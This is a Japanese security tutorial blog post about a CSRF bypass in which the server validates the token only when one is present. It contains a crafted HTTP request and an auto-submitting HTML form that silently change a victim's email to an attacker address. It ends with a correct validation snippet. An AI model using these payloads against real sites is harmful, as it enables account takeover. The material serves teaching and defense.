Shikata Ga Nai

Private? There is no such things.

CSRFトークン検証の落とし穴:「トークンが存在する場合のみ検証」する実装ミス

Hello there, ('ω')ノ

✅ 問題の本質:「トークンがあれば検証するが、なければ何もしない」

ある種のアプリケーションでは、次のような致命的な実装ミスがあります:

「CSRFトークンが送られてきたら検証するが、送られてこなければ検証をスキップする」


📚 攻撃可能なリクエスト例(トークン完全削除)

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net
  • csrfパラメータを完全に削除(値を空にするのではなく、名前ごと削除)
  • アプリケーションは「トークンがないから何もしない」となり、バリデーション処理を通過してしまう

🧠 攻撃者視点:なぜこれがチャンスなのか?

状況 攻撃者の戦略
csrf=不正な値 → 拒否される トークン検証が発動する
csrfパラメータなし → 処理がスルーされる トークンチェックが発動せず、CSRF成立

✅ よって、攻撃リクエストでは「csrfを完全に削除する」のがバイパスの鍵


✅ 攻撃HTMLの例(トークン無し)

<form method="POST" action="https://vulnerable-website.com/email/change">
  <input type="hidden" name="email" value="attacker@evil-user.net" />
</form>
<script>
  document.forms[0].submit();
</script>

csrfパラメータを一切含めないことで、トークン検証がスキップされ、攻撃が成功する


⚠️ なぜこれは開発ミスなのか?

実装ミス 問題点
トークンが存在する時だけ検証する トークンがない=無害 と誤認する実装は根本的に誤り
必須チェックをしていない バリデーションに「トークンの存在自体」が条件として入っていない

🛡️ 正しい実装とは?

if "csrf" not in request.POST:
    return 403  # Forbidden(トークンがない時点でエラー)

if request.POST["csrf"] != session["csrf_token"]:
    return 403  # トークンが一致しない場合もエラー
  • トークンの存在確認
  • トークンの値の照合 両方を必ず実装するのが正解です。

✅ まとめ

CSRFトークンは「ある時だけ守る」のでは意味がない。

  • 「無ければ無条件許可」という設計はまさにバイパスの入り口
  • 攻撃者は「不要なパラメータを削除する」という逆方向のアプローチで攻撃成立

Best regards, (^^ゞ